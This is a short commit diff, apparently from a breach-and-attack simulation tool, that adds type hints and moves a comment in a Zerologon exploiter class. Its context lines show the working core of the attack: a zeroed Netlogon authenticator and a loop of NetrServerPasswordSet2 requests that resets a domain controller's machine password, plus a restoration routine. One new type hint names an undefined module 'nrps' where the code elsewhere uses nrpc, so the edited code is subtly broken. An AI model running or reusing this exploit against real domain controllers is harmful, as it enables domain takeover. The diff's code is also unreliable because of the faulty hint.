CR changes: type hints and comment

monkey/infection_monkey/exploit/zerologon.py

@@ -11,7 +11,7 @@ from typing import Dict, List, Optional, Tuple
 
 import impacket
 import nmb.NetBIOS
-from impacket.dcerpc.v5 import epm, nrpc, transport
+from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
 from impacket.dcerpc.v5.dtypes import NULL
 
 from common.utils.exploit_enum import ExploitType
@@ -30,7 +30,7 @@ class ZerologonExploiter(HostExploiter):
     _EXPLOITED_SERVICE = "Netlogon"
     EXPLOIT_TYPE = ExploitType.VULNERABILITY
     RUNS_AGENT_ON_SUCCESS = False
-    MAX_ATTEMPTS = 2000
+    MAX_ATTEMPTS = 2000  # For 2000, expected average number of attempts needed: 256.
     ERROR_CODE_ACCESS_DENIED = 0xC0000022
 
     def __init__(self, host: object):
@@ -121,7 +121,7 @@ class ZerologonExploiter(HostExploiter):
         rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
         return rpc_con
 
-    def _try_zero_authenticate(self, rpc_con: object) -> object:
+    def _try_zero_authenticate(self, rpc_con: rpcrt.DCERPC_v5) -> object:
         plaintext = b"\x00" * 8
         ciphertext = b"\x00" * 8
         flags = 0x212FFFFF
@@ -157,7 +157,6 @@ class ZerologonExploiter(HostExploiter):
             raise Exception(f"Unexpected error: {ex}.")
 
     def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
-        # Max attempts = 2000. Expected average number of attempts needed: 256.
         for _ in range(0, self.MAX_ATTEMPTS):
             exploit_attempt_result = self.try_exploit_attempt(rpc_con)
 
@@ -179,7 +178,7 @@ class ZerologonExploiter(HostExploiter):
         except BaseException as e:
             LOG.info(f"Unexpected error: {e}")
 
-    def attempt_exploit(self, rpc_con: object) -> object:
+    def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object:
         request = nrpc.NetrServerPasswordSet2()
         ZerologonExploiter._set_up_request(request, self.dc_name)
         request["PrimaryName"] = self.dc_handle + "\x00"
@@ -188,7 +187,7 @@ class ZerologonExploiter(HostExploiter):
         return rpc_con.request(request)
 
     @staticmethod
-    def _set_up_request(request: object, dc_name: str) -> None:
+    def _set_up_request(request: nrps.NetrServerPasswordSet2, dc_name: str) -> None:
         authenticator = nrpc.NETLOGON_AUTHENTICATOR()
         authenticator["Credential"] = b"\x00" * 8
         authenticator["Timestamp"] = b"\x00" * 4
@@ -470,7 +469,6 @@ class ZerologonExploiter(HostExploiter):
     def _send_restoration_rpc_login_requests(
         self, rpc_con, original_pwd_nthash
     ) -> bool:
-        # Max attempts = 2000. Expected average number of attempts needed: 256.
         for _ in range(0, self.MAX_ATTEMPTS):
             restoration_attempt_result = self.try_restoration_attempt(
                 rpc_con, original_pwd_nthash
@@ -485,7 +483,7 @@ class ZerologonExploiter(HostExploiter):
         return False
 
     def try_restoration_attempt(
-        self, rpc_con: object, original_pwd_nthash: str
+        self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
     ) -> bool:
         try:
             restoration_attempt_result = self.attempt_restoration(
@@ -503,7 +501,7 @@ class ZerologonExploiter(HostExploiter):
         return False
 
     def attempt_restoration(
-        self, rpc_con: object, original_pwd_nthash: str
+        self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
     ) -> Optional[object]:
         plaintext = b"\x00" * 8
         ciphertext = b"\x00" * 8